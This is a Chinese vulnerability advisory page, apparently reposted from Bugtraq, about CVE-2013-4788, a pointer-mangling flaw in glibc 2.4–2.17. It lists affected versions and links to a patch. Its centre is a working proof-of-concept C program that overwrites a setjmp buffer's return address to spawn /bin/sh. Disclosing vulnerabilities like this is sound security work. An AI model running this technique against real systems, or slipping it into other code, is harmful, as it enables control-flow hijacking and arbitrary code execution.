Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / glibc/eglibc缓冲区溢出漏洞(CVE-2013-4788)

发布日期:2013-07-16
更新日期:2013-07-18受影响系统:
GNU glibc 2.7
GNU glibc 2.5
GNU glibc 2.13
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 61183
CVE(CAN) ID: CVE-2013-4788glibc是绝大多数Linux操作系统中C库的实现。glibc 2.4 -2.17版本存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用上下文中执行任意代码。<*来源:Hector Marco
        Ismael Ripoll
 
  链接:http://seclists.org/bugtraq/2013/Jul/96
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!/*
* $FILE: bug-mangle.c
*
* Comment: Proof of concept
*
* $VERSION$
*
* Author: Hector Marco <hecmargi@upv.es>
*        Ismael Ripoll <iripoll@disca.upv.es>
*
* $LICENSE: 
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/#include <stdio.h>
#include <setjmp.h>
#include <stdint.h>
#include <limits.h>#ifdef __i386__
  #define ROTATE 0x9
  #define PC_ENV_OFFSET 0x14
#elif __x86_64__
  #define ROTATE 0x11
  #define PC_ENV_OFFSET 0x38
#else
  #error The exploit does not support this architecture
#endifunsigned long rol(uintptr_t value) {
  return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));
}int hacked(){
  printf("[+] hacked !! ");
  system("/bin/sh");
}int main(void){
  jmp_buf env;
  uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);  printf("[+] Exploiting ... ");
  if(setjmp(env) == 1){
      printf("[-] Exploit failed. ");
      return 0;
  }  /*Overwrie env return address */
  *ptr_ret_env = rol((uintptr_t)hacked);  longjmp(env, 1);  printf("[-] Exploit failed. ");
  return 0;
}建议:
--------------------------------------------------------------------------------
厂商补丁:GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:http://www.gnu.org
http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patchGlibc 的详细介绍:请点这里
Glibc 的下载地址:请点这里Oracle Database Server本地安全漏洞(CVE-2013-3771)Oracle Database Server远程安全漏洞(CVE-2013-3751)相关资讯      glibc 
  • Glibc 内存申请和释放及堆连续检查  (08月04日)
  • GNU C Library 整数溢出漏洞(CVE-  (04月21日)
  • GNU C Library高危漏洞影响大量应  (02月17日)
  • Glibc内存管理方式  (08月03日)
  • Glibc 2.23发布,修复了重大的网络  (02月20日)
  • 通过修改 glibc 支持 DNS 加密  (02月06日)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款